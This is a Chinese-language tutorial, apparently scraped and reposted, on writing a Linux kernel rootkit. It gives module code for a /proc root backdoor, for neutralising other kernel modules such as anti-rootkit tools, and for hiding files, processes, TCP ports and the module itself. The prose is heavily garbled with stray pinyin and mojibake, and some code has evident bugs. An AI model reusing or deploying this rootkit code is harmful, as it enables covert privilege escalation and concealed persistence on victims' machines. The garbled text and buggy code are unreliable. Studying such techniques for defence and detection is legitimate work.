IT技術互動交(jiao)流平台(tai)

甘肃快三官网

作者︰佚名(ming)  發布日期(qi)︰2020-02-21 19:12:49

本文所需的完整代碼位于筆(bi)者的代碼倉庫︰https://github.com/NoviceLive/research-rootkit。
測試建(jian)議︰ 不要(yao)在物理機測試!不要(yao)在物理機測試! 不要(yao)在物理機測試!
概要(yao)
在 上(shang)一篇文章中(zhong)筆(bi)者詳細地闡述了基于直接you)xiu)改系統調(diao)用表(biao) (即 sys_call_table /ia32_sys_call_table )的掛鉤, 文章強調(diao)以yuan)胗? 質笛槲 he)心(xin)。
長(chang)話短說(shuo),本文也(ye)將以同(tong)樣的理念帶(dai)領讀(du)者一一縷(lv)清 Rootkit 必備的基本功能,包括提供 root 後門,控(kong)制內核(he)模塊(kuai)的加載, 隱藏文件(提示︰這(zhe)是文章的重(zhong)點與核(he)心(xin)內容),隱藏進程,隱藏網絡端(duan)口,隱藏內核(he)模塊(kuai)等(deng)。
短話長(chang)說(shuo),本文不打算給大家(jia)介紹(shao)剩下的幾種不同(tong)的系統調(diao)用掛鉤技術︰比如說(shuo),修(xiu)改 32 位系統調(diao)用( 使用 int $0x80 ) 進入內核(he)需要(yao)使用的IDT (Interrupt descriptor table / 中(zhong)斷描(miao)述符表(biao)) 項(xiang), 修(xiu)改 64位系統調(diao)用( 使用 syscall )需要(yao)使用的MSR (Model-specific register / 模型特定(ding)寄存器,具體講(jiang), 64位系統調(diao)用派遣例程的地址位于 MSR_LSTAR );又比如基于修(xiu)改系統調(diao)用派遣例程 (對 64 位系統調(diao)用而言(yan)也(ye)就是entry_SYSCALL_64 ) 的鉤法; 又或者,內聯掛鉤 / InlineHooking。
這(zhe)些(xie)鉤法我們(men)以後再談(tan),現在,我們(men)先專心(xin)把一hui)止撤ㄍ娉齷ㄑIshang)一篇文章講(jiang)的鉤法,也(ye)就是函數指(zhi)針的替換,並不局限(xian)于鉤系統調(diao)用。本文會將這(zhe)種方法應用到其他的函數上(shang)。
第一部(bu)分︰Rootkit 必備的基本功能
站穩(wen),坐好。
1. 提供 root 後門
這(zhe)個特別(bie)好講(jiang),筆(bi)者就拿提供 root 後門這(zhe)個功能開刀(dao)du)恕br />大家(jia)還記得men)岸問奔全志 (AllWinner ) 提供的 Linux 內核(he)里面(mian)的 root 後門吧,不了解的可以看一下 FB 之(zhi)前的文章,外(wai)媒報道(dao)︰中(zhong)國知名(ming)ARM制造商全志科技在Linux中(zhong)留下內核(he)後門。
我們(men)拿後門的那段源(yuan)代碼改改就好了。
具體說(shuo)來,邏輯是這(zhe)樣子的, 我們(men)的內核(he)模塊(kuai)在/proc 下面(mian)創建(jian)一個文件,如果某一個進程向(xiang)這(zhe)個文件寫入特定(ding)的內容(讀(du)者可以把這(zhe)個“特定(ding)的內容”理解成(cheng)口令或者密(mi)碼),我們(men)的內核(he)模塊(kuai)就把這(zhe)個進程的uid 與 euid等(deng)等(deng)全都設置(zhi)成(cheng) 0, 也(ye)就是 root 賬號的。這(zhe)樣,這(zhe)個進程就擁有(you)了 root權限(xian)。
不huan)聊全志 root 後門這(zhe)件事來舉個例子,在運(yun)行有(you)後門的 Linux 內核(he)的設備上(shang), 進程只需要(yao)向(xiang)/proc/sunxi_debug/sunxi_debug 寫入 rootmydevice 就可以獲得 root權限(xian)。
另外(wai),我們(men)的內核(he)模塊(kuai)創建(jian)的那個文件顯然(ran)是要(yao)隱藏掉的。考慮到現在還沒(mei)講(jiang)文件隱藏(本文後面(mian)會談(tan)文件隱藏),所以這(zhe)一小節的實驗並不包括將創建(jian)出來的文件隱藏掉。
下面(mian)我們(men)看chun)叢躚諛諍he)模塊(kuai)里創建(jian)/proc 下面(mian)的文件。
全志 root 後門代碼里用到的create_proc_entry 是一個過時了shuo)PI,而且在新內核(he)里面(mian)它已經被去掉了。 考慮到筆(bi)者暫時還不考慮兼容老的內核(he),所以我們(men)直接用新的API, proc_create 與 proc_remove , 分別(bie)用于創建(jian)與刪除一個/proc 下面(mian)的項(xiang)目。
函數原型如下。
# include
static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
void
proc_remove(struct proc_dir_entry *entry);
proc_create 參數的含義依次為,文件名(ming)字,文件訪(fang)問模式,父目錄,文件操作函數結構(gou)體。 我們(men)重(zhong)點關心(xin)第四個參數︰struct file_operations里面(mian)是一些(xie)函數指(zhi)針,即對文件的各種操作的處理函數, 比如,讀(du)( read)、寫( write )。 該結構(gou)體的定(ding)義位于 linux/fs.h,後面(mian)講(jiang)文件隱藏的時候(hou)還會遇到它。
創建(jian)與刪除一個 /proc文件的代碼示例如下。
struct proc_dir_entry *entry;
entry = proc_create(NAME, S_IRUGO S_IWUGO, NULL, &proc_fops);
proc_remove(entry);
實現我們(men)的需求只需要(yao)提供一個寫操作( write )的處理函數就可以了,如下所示。
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);
struct file_operations proc_fops = {
    .write = write_handler
};
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;
    // 分配(pei)內存。
    kbuff = kmalloc(count, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }
    // 復制到內核(he)緩沖區(qu)。
    if (copy_from_user(kbuff, buff, count)) {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;
    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {
        // 用mei)hu)進程寫入的內容是我們(men)的口令或者密(mi)碼,
        // 把進程的 ``uid`` 與 ``gid`` 等(deng)等(deng)
        // 都設置(zhi)成(cheng) ``root`` 賬號的,將其提權到 ``root``。
        fm_alert("%s ", "Comrade, I will help you.");
        cred = (struct cred *)__task_cred(current);
        cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
        cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;

        fm_alert("%s ", "See you!");
    } else {
        // 密(mi)碼錯誤,拒(ju)絕提權。
        fm_alert("Alien, get out of here: %s. ", kbuff);
    }
    kfree(buff);
    return count;
}
實驗
編譯並加載我們(men)的內核(he)模塊(kuai),以 Kali 為例︰Kali 默認只有(you) root 賬號, 我們(men)可以用useradd  添加you)桓雋偈鋇姆fei) root 賬號來運(yun)行提權腳本(r00tme.sh )做(zuo)演示。 效果參見下圖(tu), 可以看到在提權之(zhi)前用mei)hu)的uid 是 1000,也(ye)就是普通用mei)hu),不能讀(du)取 /proc/kcore ; 提權之(zhi)後,uid 變(bian)成(cheng)了0,也(ye)就是超級用mei)hu),可以讀(du)取 /proc/kcore 。

2. 控(kong)制內核(he)模塊(kuai)的加載
想象一下,在一個月黑風高的夜晚,邪惡(e)的讀(du)者(誤︰善良(liang)的讀(du)者)通過某種手段(可能的經典順序是RCE +LPE , Remote CodeExecution / 遠程代碼執(zhi)行 + Local Privilege Escalation / 本地特權提升)得到了某台(tai)機器的 root 命令執(zhi)行; 進而執(zhi)行 Rootkit 的 Dropper程序釋(shi)放並配(pei)置(zhi)好 Rootkit, 讓(rang)其進入工作狀態。
這(zhe)時候(hou),Rootkit 首先應該做(zuo)的並不是提供 root 後門;而是,一huan)矯mian),我們(men)應該嘗試把我們(men)進來的門(漏洞(dong))堵上(shang), 避免 其他不良(liang)群眾亂入,另一huan)矯mian),我們(men)希望能控(kong)制好其他程序(這(zhe)個其他程序主要(yao)是指(zhi)反 Rootkit 程序與 其他 不良(liang) Rootkit),使其不加載 其他 不良(liang)內核(he)模塊(kuai)與我們(men)在內核(he)態血拼。
理想狀態下,我們(men)的 Rootkit 獨自霸佔內核(he)態, 阻止所有(you)不必要(yao)的代碼(尤其是反 Rootkit 程序與 其他 不良(liang) Rootkit)在內核(he)態執(zhi)行。當然(ran),理想是艱(jian)巨(ju)的,所以我們(men)先做(zuo)點容易的,控(kong)制內核(he)模塊(kuai)的加載。
控(kong)制內核(he)模塊(kuai)的加載,我們(men)可以yuan)油ㄖ lian)機制下手。通知鏈(lian)的詳細工作機制讀(du)者可以查看參考資(zi)料;簡單來講(jiang),當某個子系統或者模塊(kuai)發生某個事件時,該子系統主動遍歷某個鏈(lian)表(biao),而這(zhe)個鏈(lian)表(biao)中(zhong)記錄著其他子系統或者模塊(kuai)注冊的事件處理函數,通過傳遞(di)恰(qia)當的參數調(diao)用這(zhe)個處理函數達到事件通知的目的。
具體來ci)擔 頤men)注冊一個模塊(kuai)通知處理函數,在模塊(kuai)完成(cheng)加載之(zhi)後、開始初(chu)始化之(zhi)前, 即模塊(kuai)狀態為 MODULE_STATE_COMING, 將其初(chu)始ji)  cheng)一個什麼(me)也(ye)不做(zuo)的函數。這(zhe)樣一來,模塊(kuai)不能完成(cheng)初(chu)始化,也(ye)就相當于殘廢了。
筆(bi)者決定(ding)多讀(du)讀(du)代碼,少講(jiang)理論,所以我們(men)先簡要(yao)分析一下內核(he)模塊(kuai)的加載過程。 相關代碼位于內核(he)源(yuan)碼樹的kernel/module.c 。 我們(men)從 init_module 開始看。
SYSCALL_DEFINE3(init_module, void __user *, umod,
         unsigned long, len, const char __user *, uargs)
{
     int err;
     struct load_info info = { };
     // 檢查當前設置(zhi)是否允許加載內核(he)模塊(kuai)。
     err = may_init_module();
     if (err)
         return err;
     pr_debug("init_module: umod=%p, len=%lu, uargs=%p ",
            umod, len, uargs);
     // 復制模塊(kuai)到內核(he)。
     err = copy_module_from_user(umod, len, &info);
     if (err)
         return err;
     // 交(jiao)給 ``load_module`` 進一步處理。
     return load_module(&info, uargs, 0);
}
模塊(kuai)加載的主要(yao)工作都是 load_module 完成(cheng)的,這(zhe)個函數比較長(chang),這(zhe)里只貼我們(men)關心(xin)的一小段。
static int load_module(struct load_info *info, const char __user *uargs,
            int flags)
{
     // 這(zhe)兒省(sheng)略若干代碼。
     /* Finally it's fully formed, ready to start executing. */
     // 模塊(kuai)已經完成(cheng)加載,可以開始執(zhi)行了(但是還沒(mei)有(you)執(zhi)行)。
     err = complete_formation(mod, info);
     if (err)
         goto ddebug_cleanup;
     // 我們(men)注冊的通知處理函數會在 ``prepare_coming_module`` 的
     // 時候(hou)被調(diao)用,完成(cheng)偷(tou)天換日。在下面(mian)我們(men)還會分析一下這(zhe)個函數。
     err = prepare_coming_module(mod);
     if (err)
         goto bug_cleanup;
     // 這(zhe)兒省(sheng)略若干代碼。
     // 在 ``do_init_module`` 里面(mian),模塊(kuai)的初(chu)始ji) 岊恢(hui)蔥小br />     // 然(ran)而在這(zhe)個時候(hou),我們(men)早(zao)就把他的初(chu)始化函數掉包了(/偷(tou)笑)。
     return do_init_module(mod);
     // 這(zhe)兒省(sheng)略若干代碼︰錯誤時bi)頭拋zi)源(yuan)等(deng)。
}
static int prepare_coming_module(struct module *mod)
{
     int err;
     ftrace_module_enable(mod);
     err = klp_module_coming(mod);
     if (err)
         return err;

 

     // 就是這(zhe)兒!調(diao)用通知鏈(lian)中(zhong)的通知處理函數。
     // ``MODULE_STATE_COMING`` 會原封不動地傳遞(di)給我們(men)的處理函數,
     // 我們(men)的處理函數只需處理這(zhe)個通知。
     blocking_notifier_call_chain(&module_notify_list,
                      MODULE_STATE_COMING, mod);
     return 0;
}
說(shuo)的具體點, 我們(men)注冊的通知鏈(lian)處理函數是在 notifier_call_chain函數里被調(diao)用的,調(diao)用層次為︰ blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain 。有(you)疑惑(huo)的讀(du)者可以細致地看chun)湊zhe)部(bu)分zhi)耄位于內核(he)源(yuan)碼樹的kernel/notifier.c 。
代碼分析告一段落,接下來我們(men)看chun)慈綰巫 崮?kuai)通知處理函數。用于描(miao)述通知處理函數的結構(gou)體是 struct notifier_block , 定(ding)義如下 。
typedef  int (*notifier_fn_t)(struct notifier_block *nb,
             unsigned long action, void *data);
struct notifier_block {
     notifier_fn_t notifier_call;
     struct notifier_block __rcu *next;
     int priority;
};
注冊或者注銷模塊(kuai)通知處理函數可以使用 register_module_notifier 或者unregister_module_notifier ,函數原型如下。
int
register_module_notifier(struct notifier_block *nb);
int
unregister_module_notifier(struct notifier_block *nb);
編寫一個通知處理函數,然(ran)後填充 struct notifier_block 結構(gou)體, 最後使用register_module_notifier 注冊就可以了。代碼片段wen)縵隆br />int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);
struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};
上(shang)面(mian)的代碼是qiao)鞔 硨 ?畛淥杞 gou)體; 下面(mian)是處理函數具體實現。
int
fake_init(void);
void
fake_exit(void);
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定(ding)義鎖。
    DEFINE_SPINLOCK(module_notifier_spinlock);
    module = data;
    fm_alert("Processing the module: %s ", module->name);
    //保存中(zhong)斷狀態加鎖。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s. ",
                 module->name);
        // 偷(tou)天換日︰篡改模塊(kuai)的初(chu)始ji) 臚順齪 br />        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }
    // 恢(hui)zhi)粗zhong)斷狀態解鎖。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);
    return NOTIFY_DONE;
}
int
fake_init(void)
{
    fm_alert("%s ", "Fake init.");
    return 0;
}
void
fake_exit(void)
{
    fm_alert("%s ", "Fake exit.");
    return;
}
實驗
測試時我們(men)還需要(yao)構(gou)建(jian)另外(wai)一個簡單的模塊(kuai)( test )來測試,從下圖(tu)可以看到在加載用于控(kong)制模塊(kuai)加載的內核(he)模塊(kuai)( komonko ) 之(zhi)前,test 的初(chu)始ji) 臚順齪 頰zheng)常的執(zhi)行了; 在加載 komonko 之(zhi)後,無(wu)論是加載 test 還是卸載 test , 它的初(chu)始ji) 臚順齪 濟mei)有(you)執(zhi)行,執(zhi)行的是我們(men)掉包後的初(chu)始ji) 臚順齪 br />
3. 隱藏文件
說(shuo)好的重(zhong)點內容文件隱藏來了。不過說(shuo)到文件隱藏,我們(men)不huan)料瓤純(chun)次募槔氖迪鄭也(ye)就是系統調(diao)用getdents / getdents64 ,簡略地瀏覽它在內核(he)態服務(wu)函數(sys_getdents)的源(yuan)碼 (位于fs/readdir.c ),我們(men)可以看到如下調(diao)用層次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->這(zhe)兒省(sheng)略若干層次 -> struct dir_context 里的 actor ,也(ye)就是filldir 。
filldir 負責(ze)把一項(xiang)記錄(比如說(shuo)目錄下的一個文件或者一個子目錄)填到返回的緩沖區(qu)里。如果我們(men)鉤掉 filldir ,並在我們(men)的鉤子函數里對某些(xie)特定(ding)的記錄予以直接丟棄,不填到jiao)撼邇qu)里,上(shang)層函數與應用程序就收不到那個記錄,也(ye)就不hui) dao)那個文件或者文件夾(jia)的存在了,也(ye)就實現了文件隱藏。

 

具體說(shuo)來,我們(men)的隱藏邏輯如下︰ 篡改根目錄(也(ye)就是“/”)的 iterate為我們(men)的假(jia) iterate , 在假(jia)函數里把 struct dir_context 里的 actor替換成(cheng)我們(men)的 假(jia) filldir ,假(jia) filldir 會把需要(yao)隱藏的文件過濾shuo)簟br />下面(mian)是假(jia) iterate 與 假(jia) filldir 的實現。
int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 備份真的 ``filldir``,以yuan)負竺mian)之(zhi)需。
    real_filldir = ctx->actor;
    // 把 ``struct dir_context`` 里的 ``actor``,
    // 也(ye)就是真的 ``filldir``
    // 替換成(cheng)我們(men)的假(jia) ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;
    return real_iterate(filp, ctx);
}
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 如果是需要(yao)隱藏的文件,直接返回,不填到jiao)撼邇qu)里。
        fm_alert("Hiding: %s", name);
        return 0;
    }
    /* pr_cont("%s ", name); */
    // 如果不是需要(yao)隱藏的文件,
    // 交(jiao)給的真的 ``filldir`` 把這(zhe)個記錄填到jiao)撼邇qu)里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
鉤某個目錄的 struct file_operations 里的函數, 筆(bi)者寫了一個通用的宏。
# define set_f_op(op, path, new, old)                      
    do {                                                   
        struct file *filp;                                 
        struct file_operations *f_op;                      
                                                           
        fm_alert("Opening the path: %s. ", path);         
        filp = filp_open(path, O_RDONLY, 0);               
        if (IS_ERR(filp)) {                                
            fm_alert("Failed to open %s with error %ld. ",
                     path, PTR_ERR(filp));                 
            old = NULL;                                    
        } else {                                           
            fm_alert("Succeeded in opening: %s ", path);  
            f_op = (struct file_operations *)filp->f_op;   
            old = f_op->op;                                

 

                                                           
            fm_alert("Changing iterate from %p to %p. ",  
                     old, new);                            
            disable_write_protection();                    
            f_op->op = new;                                
            enable_write_protection();                     
        }                                                  
    } while(0)
實驗
實驗時,筆(bi)者隨(sui)(gu)手(yi)用來隱藏的文件名(ming)︰ 032416_525.mp4 。從下圖(tu)我們(men)可以看到,在加載我們(men)的內核(he)模塊(kuai)( fshidko )之(zhi)前, test目錄下的 032416_525.mp4 是可以列舉出來的; 但是加載 fshidko之(zhi)後就看不到了,並且在 dmesg 的日志里, 我們(men)可以看到 fshidko打印的隱藏了這(zhe)個文件的信息。

選讀(du)內容︰相關內核(he)源(yuan)碼的簡略分析
SYSCALL_DEFINE3(getdents, unsigned int, fd,
         struct linux_dirent __user *, dirent, unsigned int, count)
{
     // 這(zhe)兒省(sheng)略若干代碼。
     struct getdents_callback buf = {
         .ctx.actor = filldir, // 最後的接鍋英(ying)雄。
         .count = count,
         .current_dir = dirent
     };
     // 這(zhe)兒省(sheng)略若干代碼。
     // 跟(gen)進 ``iterate_dir``,
     // 可以看到它是通過 ``struct file_operations`` 里
     // ``iterate`` 完成(cheng)任務(wu)的。
     error = iterate_dir(f.file, &buf.ctx);
     // 這(zhe)兒省(sheng)略若干代碼。
     return error;
}
int iterate_dir(struct file *file, struct dir_context *ctx)
{
     struct inode *inode = file_inode(file);
     int res = -ENOTDIR;
     // 如果 ``struct file_operations`` 里的 ``iterate``
     // 為 ``NULL``,返回 ``-ENOTDIR`` 。
     if (!file->f_op->iterate)
         goto out;
     // 這(zhe)兒省(sheng)略若干代碼。
     res = -ENOENT;
     if (!IS_DEADDIR(inode)) {
         ctx->pos = file->f_pos;
         // ``iterate_dir`` 把鍋甩給了
         // ``struct file_operations`` 里的 ``iterate``,
         // 對這(zhe)個 ``iterate`` 的分析請(qing)看下面(mian)。
         res = file->f_op->iterate(file, ctx);
         file->f_pos = ctx->pos;
         // 這(zhe)兒省(sheng)略若干代碼。
     }
     // 這(zhe)兒省(sheng)略若干代碼。
out:
     return res;
}
這(zhe)一層一層的剝開, 我們(men)來到了 struct file_operations 里面(mian)的 iterate, 這(zhe)個 iterate 在不同(tong)的文件系統有(you)不同(tong)的實現, 下面(mian)(位于fs/ext4/dir.c ) 是針對 ext4文件系統的 struct file_operations , 我們(men)可以看到ext4 文件系統的 iterate 是ext4_readdir 。

 

const struct file_operations ext4_dir_operations = {
     .llseek         = ext4_dir_llseek,
     .read       = generic_read_dir,
     .iterate    = ext4_readdir,
     .unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
     .compat_ioctl   = ext4_compat_ioctl,
#endif
     .fsync      = ext4_sync_file,
     .open       = ext4_dir_open,
     .release    = ext4_release_dir,
};
ext4_readdir 經過各種zhi)餮牟僮髦zhi)後會通過 filldir把目錄里的項(xiang)目一個一個的填到 getdents返回的緩沖區(qu)里,緩沖區(qu)里是一個個的 struct linux_dirent 。我們(men)的隱藏方法就是在 filldir 里把需要(yao)隱藏的項(xiang)目給過濾shuo)簟br />4. 隱藏進程
Linux 上(shang)純(chun)用mei)hu)態枚舉並獲取進程信息,/proc 是唯一的去處。所以,對用mei)hu)態隱藏進程,我們(men)可以隱藏掉/proc 下面(mian)的目錄,這(zhe)樣用mei)hu)態能枚舉出來進程就在我們(men)的控(kong)制下了。讀(du)者現在應該些(xie)許體會到為什麼(me)文件隱藏是本文的重(zhong)點內容了。
我們(men)修(xiu)改一下上(shang)面(mian)隱藏文件時的假(jia) filldir 即chun)墑迪紙桃兀如下所示。
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;
    // 把字符串(chuan)變(bian)成(cheng)長(chang)整數。
    pid = simple_strtol(name, &endp, 10);
    if (pid == SECRET_PROC) {
        // 是我們(men)需要(yao)隱藏的進程,直接返回。
        fm_alert("Hiding pid: %ld", pid);
        return 0;
    }
    /* pr_cont("%s ", name); */
    // 不是需要(yao)隱藏的進程,交(jiao)給真的 ``filldir`` 填到jiao)撼邇qu)里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
實驗
筆(bi)者選擇隱藏 pid 1 來做(zuo)演示。在使用systemd 的系統cheng)希id 1 總是 systemd,看下圖(tu), 我們(men)可以看到加載我們(men)的模塊(kuai)( pshidko )之(zhi)後, ps -A看不到 systemd了;把 pshidko 卸載掉,systemd就顯示出來了。

5. 隱藏端(duan)口
向(xiang)用mei)hu)態隱藏端(duan)口, 其實就是在用mei)hu)進程讀(du)/proc下面(mian)的相關文件獲取端(duan)口信息時, 把需要(yao)隱藏的的端(duan)口的內容過濾shuo)簦 溝糜沒(mei)hu)進程讀(du)到的內容里面(mian)沒(mei)有(you)我們(men)想隱藏的端(duan)口。
具體說(shuo)來,看下面(mian)的表(biao)格(ge)。
網絡類型 /proc 文件 內核(he)源(yuan)碼文件 主要(yao)實現函數
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show
本小節以TCP /IPv4為例,其他情況讀(du)者可舉一huan)慈br />文件的第一行是每一列的含義, 後面(mian)的行就是當前網絡連接(socket /套(tao)接字)的具體信息。 這(zhe)些(xie)信息是通過 seq_file 接口在 /proc 中(zhong)暴(bao)露的。seq_file 擁有(you)的操作函數如下,我們(men)需要(yao)關心(xin)是 show 。
struct seq_operations {
     void * (*start) (struct seq_file *m, loff_t *pos);
     void (*stop) (struct seq_file *m, void *v);
     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
     int (*show) (struct seq_file *m, void *v);
};
前面(mian)我們(men)提到了隱藏端(duan)口也(ye)就是在進程讀(du)取 /proc/net/tcp 等(deng)文件獲取端(duan)口信息時過濾shuo)舨幌Mrang)進程看到的內容,具體來講(jiang), 就是將/proc/net/tcp 等(deng)文件的 show 函數篡改成(cheng)我們(men)的鉤子函數,然(ran)後在我們(men)的假(jia) show 函數里進行過濾。
我們(men)先看chun)從美疵miao)述 seq_file 的結構(gou)體,即 struct seq_file , 定(ding)義于linux/seq_file.h 。 seq_file 有(you)一個緩沖區(qu),也(ye)就是 buf 成(cheng)員(yuan),容量是 size ,已經使用的量是 count ;理解了這(zhe)幾個成(cheng)員(yuan)的作用就能理解用于過濾端(duan)口信息的假(jia) tcp_seq_show 了。
struct seq_file {
     char *buf; // 緩沖區(qu)。
     size_t size; // 緩沖區(qu)容量。
     size_t from;
     size_t count; // 緩沖區(qu)已經使用的量。
     size_t pad_until;
     loff_t index;
     loff_t read_pos;
     u64 version;
     struct mutex lock;
     const struct seq_operations *op;
     int poll_event;
     const struct file *file;
     void *private;
};
鉤 /proc/net/tcp 等(deng)文件的 show 函數的方法與之(zhi)前講(jiang)隱藏文件鉤iterate 的方法類似, 用下面(mian)的宏可以通用的鉤這(zhe)幾個文件 seq_file接口里面(mian)的操作函數。
# define set_afinfo_seq_op(op, path, afinfo_struct, new, old)  

 

    do {                                                       
        struct file *filp;                                     
        afinfo_struct *afinfo;                                 
                                                               
        filp = filp_open(path, O_RDONLY, 0);                   
        if (IS_ERR(filp)) {                                    
            fm_alert("Failed to open %s with error %ld. ",    
                     path, PTR_ERR(filp));                     
            old = NULL;                                        
        }                                                      
                                                               
        afinfo = PDE_DATA(filp->f_path.dentry->d_inode);       
        old = afinfo->seq_ops.op;                              
        fm_alert("Setting seq_op->" #op " from %p to %p.",     
                 old, new);                                    
        afinfo->seq_ops.op = new;                              
                                                               
        filp_close(filp, 0);                                   

 

    } while (0)
最後,我們(men)看chun)醇jia) show 函數是如何過濾shuo)舳duan)口信息的。
注1 ︰ TMPSZ 是 150,內核(he)源(yuan)碼里是這(zhe)樣定(ding)義的。換句話說(shuo),/proc/net/tcp 里的每一條(tiao)記錄都是 149 個字節(不算換行)長(chang),不夠的用空格(ge)補齊。
注2 ︰ 我們(men)不用 TMPSZ 也(ye)可以,並且會更加靈(ling)活,具體細節請(qing)看下面(mian)隱藏內核(he)模塊(kuai)時 /proc/modules 的假(jia) show函數是怎麼(me)處理的。
int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    char needle[NEEDLE_LEN];
    // 把端(duan)口轉換成(cheng) 16 進制,前面(mian)帶(dai)個分號,避免誤判(pan)。
    // 用來判(pan)斷這(zhe)項(xiang)記錄是否需要(yao)過濾shuo)簟br />    snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
    // real_seq_show 會往 buf 里填充一項(xiang)記錄
    ret = real_seq_show(seq, v);
    // 該項(xiang)記錄的起始 = 緩沖區(qu)起始 + 已有(you)量 - 每條(tiao)記錄的大小。
    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        fm_alert("Hiding port %d using needle %s. ",
                 SECRET_PORT, needle);
        // 記錄里包含我們(men)需要(yao)隱藏的的端(duan)口信息,
        // 把 count 減(jian)掉一個記錄大小,
        // 相當于把這(zhe)個記錄去除掉了。
        seq->count -= TMPSZ;
    }
    return ret;
}
實驗
我們(men)拿TCP /IPv4 111 端(duan)口來做(zuo)演示,讀(du)者需要(yao)根據實際測試時的環(huan)境做(zuo)必要(yao)改動。 如圖(tu),加載 pthidko之(zhi)前,我們(men)可以看到 111 端(duan)口處于監听狀態;加載之(zhi)後,這(zhe)條(tiao)記錄不見了,被隱藏起來; 把 pthidko卸載掉,這(zhe)條(tiao)記錄又顯示出來了。

6. 隱藏內核(he)模塊(kuai)
《Linux Rootkit 系dao)幸唬LKM的基礎編寫及隱藏》一文里提到了隱藏內核(he)模塊(kuai)的兩種方式, 一hui)摯梢源(yuan)lsmod 中(zhong)隱藏掉,另一hui)摯梢源(yuan)/sys/module 里隱藏掉。然(ran)而,這(zhe)兩種隱藏方式都使得模塊(kuai)沒(mei)huan)ㄐ對亓恕T諼頤men)開發的初(chu)級階段,這(zhe)一點也(ye)不huan)獎bian)調(diao)試,筆(bi)者暫時就不講(jiang)這(zhe)兩個了。
我們(men)看chun)戳磽wai)的思路(lu)。從 /sys/module 里隱藏的話,我們(men)使用之(zhi)前隱藏文件的方式隱藏掉就可以了。我想聰明的讀(du)者應該想到了這(zhe)點,這(zhe)再一次證明了文件隱藏的意義。
那麼(me)怎麼(me)從 lsmod 里隱藏掉呢(ne)。 仔細回想一下,既然(ran) lsmod 的數據來源(yuan)ci)proc/modules , 那用我們(men)隱藏端(duan)口時采(cai)用的方式就好了︰ 鉤掉/proc/modules 的 show 函數, 在我們(men)的假(jia) show函數里過濾shuo)粑頤men)想隱藏的模塊(kuai)。
粗略地瀏覽內核(he)源(yuan)碼,我們(men)可以發現, /proc/modules 的實現位于kernel/module.c , 並且主要(yao)的實現函數是 m_show 。
接下來的問題是, 我們(men)怎麼(me)鉤這(zhe)個文件 seq_file 接口里的 show 函數呢(ne),鉤法與 /proc/net/tcp 並不一樣,但是類似,請(qing)看下面(mian)的宏。
# define set_file_seq_op(opname, path, new, old)                   
    do {                                                           
        struct file *filp;                                         
        struct seq_file *seq;                                      
        struct seq_operations *seq_op;                             
                                                                   
        fm_alert("Opening the path: %s. ", path);                 
        filp = filp_open(path, O_RDONLY, 0);                       

 

        if (IS_ERR(filp)) {                                        
            fm_alert("Failed to open %s with error %ld. ",        
                     path, PTR_ERR(filp));                         
            old = NULL;                                            
        } else {                                                   
            fm_alert("Succeeded in opening: %s ", path);          
            seq = (struct seq_file *)filp->private_data;           
            seq_op = (struct seq_operations *)seq->op;             
            old = seq_op->opname;                                  
                                                                   
            fm_alert("Changing seq_op->"#opname" from %p to %p. ",
                     old, new);                                    
            disable_write_protection();                            
            seq_op->opname = new;                                  
            enable_write_protection();                             
        }                                                          
    } while (0)
這(zhe)個宏與之(zhi)前寫的宏非(fei)常類似,唯一的不同(tong),並且讀(du)者可能不能理解的是下面(mian)這(zhe)一行。
seq = (struct seq_file *)filp->private_data;
我想,讀(du)者的問題應該是︰ struct file 的 private_data成(cheng)員(yuan)為什麼(me)會是我們(men)要(yao)找的 struct seq_file 指(zhi)針?
請(qing)看內核(he)源(yuan)碼。下面(mian)的片段是 /proc/modules 的初(chu)始部(bu)分,我們(men)想要(yao)做(zuo)的是鉤掉 m_show 。 縱觀源(yuan)碼,引用了 modules_op 的只有(you)seq_open 。
static const struct seq_operations modules_op = {
     .start  = m_start,

 

     .next   = m_next,
     .stop   = m_stop,
     .show   = m_show
};
static int modules_open(struct inode *inode, struct file *file)
{
     return seq_open(file, &modules_op);
}
那我們(men)跟(gen)進 seq_open 看chun)矗seq_open 的實現位于 fs/seq_file.c 。
int seq_open(struct file *file, const struct seq_operations *op)
{
     struct seq_file *p;
     WARN_ON(file->private_data);
